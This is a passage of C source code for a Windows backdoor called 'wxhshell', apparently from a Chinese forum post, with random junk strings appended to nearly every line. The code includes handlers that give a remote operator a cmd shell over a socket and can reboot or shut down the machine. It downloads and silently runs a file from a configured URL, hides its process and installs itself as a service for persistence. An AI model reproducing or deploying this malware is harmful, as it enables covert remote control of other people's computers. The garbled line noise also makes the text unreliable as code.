    break; U0@Qc}y  
  } $SfYO!n7Q  
  // 安装 |"aop|  
  case 'i': { WPDi)U X  
    if(Install()) @TvDxY1)6Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kK_9I (7c  
    else s_ %LU:WC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`\=qSf*  
    break; 0JU+v:J[=  
    } W *~[KdgC  
  // 卸载 .f-s+J&ED  
  case 'r': { c1ptN  
    if(Uninstall()) nO `R++  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Dw}o;1'  
    else l5FKw;=K}:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j^m x,  
    break; &f-x+y  
    } 1T0s UIY  
  // 显示 wxhshell 所在路径 9w.ZXd  
  case 'p': { h ;1D T  
    char svExeFile[MAX_PATH]; @cB6,iUr  
    strcpy(svExeFile,"\n\r"); E_-g<Cw  
      strcat(svExeFile,ExeFile); ",pd 9  
        send(wsh,svExeFile,strlen(svExeFile),0); f0"_ {\  
    break; +wGFJLHJ  
    }  Y3g<%6  
  // 重启 }ws(:I^  
  case 'b': { qnJs,"sn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >D_!d@Z  
    if(Boot(REBOOT)) !|~yf3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Bl6 ) qw  
    else { u9j1>QU  
    closesocket(wsh); R c  
    ExitThread(0); ^_t7{z%sA[  
    } C&f{LpB`  
    break; j>A=Wa7  
    } D2'J (  
  // 关机 z=C<@ki`  
  case 'd': { }BAe   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ."j=s#OC(  
    if(Boot(SHUTDOWN)) ~\u~>mtchu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r#(*x 2~,  
    else { FL[w\&fp  
    closesocket(wsh); R= .UbY  
    ExitThread(0); 4F,RlKHBl  
    } k iu#THF  
    break; $|VD+[jSV  
    } <;hy-Q()D  
  // 获取shell 8Ud.}< Zi  
  case 's': { Q|7;Zsd:  
    CmdShell(wsh); zKFiCP K  
    closesocket(wsh); 3j\Py'};  
    ExitThread(0); ~;@\9oPpz%  
    break; tS[%C)  
  } }b+$S'`Bv  
  // 退出 emG1Wyl  
  case 'x': { =xr2-K)e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C,$7fW{?  
    CloseIt(wsh); 4o kZ  
    break; 0}- MWbG  
    } &XB1=b5  
  // 离开 r TK)jxklX  
  case 'q': { }@vf=jm>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bq z*90  
    closesocket(wsh); yH(%*-S  
    WSACleanup(); R]NCD*~  
    exit(1); mV|Z5= f  
    break; i([|@Y=  
        } .=@CF8ArG  
  } BP=<TRp .  
  } |M|>/U 8  
=z#j9'n$@  
  // 提示信息 gP?.io 9Oi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K%YR; )5A  
} @VnK/5opS  
  } s}?QA cC  
7*@BCu6  
  return; -NUA  
} i*e'eZ;)  
,p6o "-  
// shell模块句柄 G`z=qaj  
int CmdShell(SOCKET sock) ( #rhD}  
{ CzI/Z+\  
STARTUPINFO si; 43Ua@KNi  
ZeroMemory(&si,sizeof(si)); bE b+oRI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gZ6tb p,X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gCaxZ~o  
PROCESS_INFORMATION ProcessInfo; 6,(S}x YDZ  
char cmdline[]="cmd"; BCt>P?,UO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M+WN\.2pX  
  return 0; oI x!?,1  
} d>Ky(wS  
GhW{6.^  
// 自身启动模式 Z + )<FX  
int StartFromService(void) Duq.`XO  
{ f&? 8fB8{  
typedef struct cfL:#IM  
{ ) -@Dh6F  
  DWORD ExitStatus; a t%qowt  
  DWORD PebBaseAddress; @Wd1+Yky  
  DWORD AffinityMask; =]P|!$!}0  
  DWORD BasePriority; I~25}(IDZ"  
  ULONG UniqueProcessId; <Gz*2i  
  ULONG InheritedFromUniqueProcessId; cL:hjr"  
}   PROCESS_BASIC_INFORMATION; DhT8Kh{  
jNW/Biy4u  
PROCNTQSIP NtQueryInformationProcess; a@N 1"O  
H~?p,h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5/i]Jni  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >/y+;<MZ  
zX&wfE8T  
  HANDLE             hProcess; \0z<@)r+AJ  
  PROCESS_BASIC_INFORMATION pbi; jWh}cM=  
PRN%4G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8v\^,'@  
  if(NULL == hInst ) return 0; !6eF8T  
:6W * ;<o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 77;|PKE /  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <Y^)/ s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n4 J*04K  
'Jl73#3  
  if (!NtQueryInformationProcess) return 0; d.p%jVO)"  
D*!9K8<o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W4:#=.m  
  if(!hProcess) return 0; Ky)*6QOw  
qfyuq]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^q/_D%]C  
lM[FT=M  
  CloseHandle(hProcess); ^ 4{"h  
<@+{EK'`q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w~WW2 w  
if(hProcess==NULL) return 0; {'[S.r`  
 @+!u{  
HMODULE hMod; E,7b=t  
char procName[255]; Pa */&WeB  
unsigned long cbNeeded; w>6 cc#>q  
NSQ#\:3:S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a<v!5\dq!  
<CGJ:% AY  
  CloseHandle(hProcess);  Yk yB  
VU \{<j{  
if(strstr(procName,"services")) return 1; // 以服务启动 }vt>}%%  
9NausE40  
  return 0; // 注册表启动 Y]H,rO  
} CG[04y  
E>k!d'+tb  
// 主模块 JG=z~STz  
int StartWxhshell(LPSTR lpCmdLine) 3V@!}@y,F6  
{ p]J0A ^VV  
  SOCKET wsl; @Jr@ fF}  
BOOL val=TRUE; #]lK!:  
  int port=0;  4,?ZNyl  
  struct sockaddr_in door; ]?(_}""1  
TV*@h2C"i  
  if(wscfg.ws_autoins) Install(); 4'`y5E  
Gw?$.@L'I6  
port=atoi(lpCmdLine); R![4|FR  
Jn)DZv8?  
if(port<=0) port=wscfg.ws_port; MUvgmJsN  
d^^EfWU  
  WSADATA data; Qs;MEt1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s)j3+@:#  
_A,mY6 *  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9 hdz<eFL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s!WI:E7  
  door.sin_family = AF_INET; <F-W fR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H:.l:PJ  
  door.sin_port = htons(port); =JfSg'7  
t BKra  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c<]~q1  
closesocket(wsl); ~<q^4w.=7C  
return 1; "D?:8!\!  
} n0tVAH'>  
6$LQO),,  
  if(listen(wsl,2) == INVALID_SOCKET) { Rg~F[j$N  
closesocket(wsl); zE1=*zO`  
return 1; <}bF49z  
} <^fvTb&*  
  Wxhshell(wsl); <-F[q'!C1  
  WSACleanup(); R/?ZbMn]!  
!\/J|~XZ  
return 0; tLo_lLn*~%  
:XeRc"m<  
} U['|t<^uf  
d{*e0  
// 以NT服务方式启动 l&oc/$&|[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vbSycZ2M7  
{ )l[bu6bM  
DWORD   status = 0; v5dLjy5  
  DWORD   specificError = 0xfffffff; 0t(js_  
H/N4t Wk"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sG8G}f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xDEjeM G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8KHT"uc'*J  
  serviceStatus.dwWin32ExitCode     = 0; k`h#.B J  
  serviceStatus.dwServiceSpecificExitCode = 0; D'<'"kUd  
  serviceStatus.dwCheckPoint       = 0; vx}W.6C}  
  serviceStatus.dwWaitHint       = 0; W?X3 :1c9:  
9N V.<&~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MeW?z|x`'  
  if (hServiceStatusHandle==0) return; (fcJp)D  
rWNywxnT  
status = GetLastError(); L=wpZ`@ y  
  if (status!=NO_ERROR) 'e:(61_  
{ ki'CW4x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xASH- 9  
    serviceStatus.dwCheckPoint       = 0; 'mO>hD`V  
    serviceStatus.dwWaitHint       = 0; TeNPuY~WP  
    serviceStatus.dwWin32ExitCode     = status; { pk]p~  
    serviceStatus.dwServiceSpecificExitCode = specificError; lGpci  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'T(@5%Db  
    return; 5%RiM|+  
  } _(F8}s  
x4-_K%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ppzQh1  
  serviceStatus.dwCheckPoint       = 0; VMH^jCFp  
  serviceStatus.dwWaitHint       = 0; s"B2Whe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;"|QW?>$D  
} frT<9$QUL  
~Xz?H=}U+  
// 处理NT服务事件,比如:启动、停止 ZY=a[K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4/AE;y X  
{ vp(ow]Q  
switch(fdwControl) $rm/{i_7  
{ {BzE  
case SERVICE_CONTROL_STOP: n}/4em?  
  serviceStatus.dwWin32ExitCode = 0; IR|#]en  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pT/z`o$#V  
  serviceStatus.dwCheckPoint   = 0; :f~qt%%/  
  serviceStatus.dwWaitHint     = 0; Y&-% N  
  { lRR A2Kql  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $[\\{XJ.  
  } J?C:@Q  
  return; 9qUkw&}H  
case SERVICE_CONTROL_PAUSE: |=AaGJx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GA;h7  
  break; ?NR&3 q  
case SERVICE_CONTROL_CONTINUE: 45rG\$%#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bE?X?[K  
  break; -\n%K  
case SERVICE_CONTROL_INTERROGATE: >:HmIW0PLe  
  break; y/+ IPR  
}; k$ b)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2'u%  
} -5JN`  
1!NrndJI  
// 标准应用程序主函数 in6*3C4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .y<u+)  
{ mM:%-I\$   
\440gH`  
// 获取操作系统版本 nc6PSj X  
OsIsNt=GetOsVer(); ERia5HnoD,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RL3*fRlb  
zl( o/n  
  // 从命令行安装 $ ^@fV=e  
  if(strpbrk(lpCmdLine,"iI")) Install(); uVTacN%X  
hZlHY9[t?  
  // 下载执行文件 i%[+C  
if(wscfg.ws_downexe) { `]^W#6l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L9-Jwy2(>  
  WinExec(wscfg.ws_filenam,SW_HIDE); IqiU  
} huW,kk<]y  
"$pbK:  
if(!OsIsNt) { m'QG{f  
// 如果时win9x,隐藏进程并且设置为注册表启动 k7j.VpN9  
HideProc(); 4XAs^>N+  
StartWxhshell(lpCmdLine); *<X1M~p$  
} 4EmdQn  
else U!NuiKaQ26  
  if(StartFromService()) zw+RDo  
  // 以服务方式启动 Q6D>(H#"0  
  StartServiceCtrlDispatcher(DispatchTable); >]8(3&zd  
else m2"wMt"*V  
  // 普通方式启动 Yxbg _RQm  
  StartWxhshell(lpCmdLine); 6VVxpDAi:  
L_aqr?Q  
return 0; 7'"qW"<  
}
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只看该作者 1 发表于: 2006-10-10
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